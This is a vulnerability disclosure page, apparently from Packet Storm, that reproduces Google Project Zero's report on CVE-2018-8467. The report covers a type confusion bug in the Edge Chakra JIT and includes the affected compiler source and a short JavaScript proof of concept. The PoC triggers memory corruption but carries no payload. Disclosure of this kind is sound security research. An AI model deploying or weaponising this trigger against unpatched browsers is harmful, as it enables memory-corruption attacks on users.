what you don't know can hurt you

Microsoft Edge Chakra JIT Type Confusion Bug

Microsoft Edge Chakra JIT Type Confusion Bug
Posted Oct 11, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge suffers from a Chakra JIT type confusion bug.

tags | exploit
advisories | CVE-2018-8467
MD5 | 6fbef805082788dae5a43414514f7830

Microsoft Edge Chakra JIT Type Confusion Bug

Change Mirror Download
Microsoft Edge: Chakra: JIT: Type confusion bug 

CVE-2018-8467


The switch statement only handles Js::TypeIds_Array but not Js::TypeIds_NativeIntArray and Js::TypeIds_NativeFloatArray. So for example, a native float array can be considered as of type ObjectType::Object under certain circumstances where "objValueType.IsLikelyArrayOrObjectWithArray()" is not fulfilled. As it doesn't install any array type conversion check for an definite object, handling a native array as an definite object can lead to type confusion.

void
GlobOpt::UpdateObjPtrValueType(IR::Opnd * opnd, IR::Instr * instr)
{
...
if (newValueType == ValueType::Uninitialized)
{
switch (typeId)
{
default:
if (typeId > Js::TypeIds_LastStaticType)
{
Assert(typeId != Js::TypeIds_Proxy);
if (objValueType.IsLikelyArrayOrObjectWithArray())
{
// If we have likely object with array before, we can't make it definite object with array
// since we have only proved that it is an object.
// Keep the likely array or object with array.
}
else
{
newValueType = ValueType::GetObject(ObjectType::Object);
}
}
break;
case Js::TypeIds_Array:
// Because array can change type id, we can only make it definite if we are doing array check hoist
// so that implicit call will be installed between the array checks.
if (!DoArrayCheckHoist() ||
(currentBlock->loop
? !this->ImplicitCallFlagsAllowOpts(currentBlock->loop)
: !this->ImplicitCallFlagsAllowOpts(this->func)))
{
break;
}
if (objValueType.IsLikelyArrayOrObjectWithArray())
{
// If we have likely no missing values before, keep the likely, because, we haven't proven that
// the array really has no missing values
if (!objValueType.HasNoMissingValues())
{
newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
}
}
else
{
newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
}
break;
}
}
...
}

PoC:
function opt(arr, arr2) {
arr[0] = 1.1;

arr2.method(arr2[0] = {});

arr[0] = 2.3023e-320;
}

Object.prototype.method = () => {};

let arr = [1.1, 2.2];
for (let i = 0; i < 100; i++) {
opt(arr, 1); // Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject
opt(arr, arr.concat());
}

setTimeout(() => {
opt(arr, arr);
alert(arr);
}, 100); // Waiting for the JIT server to finish its job.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    1 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close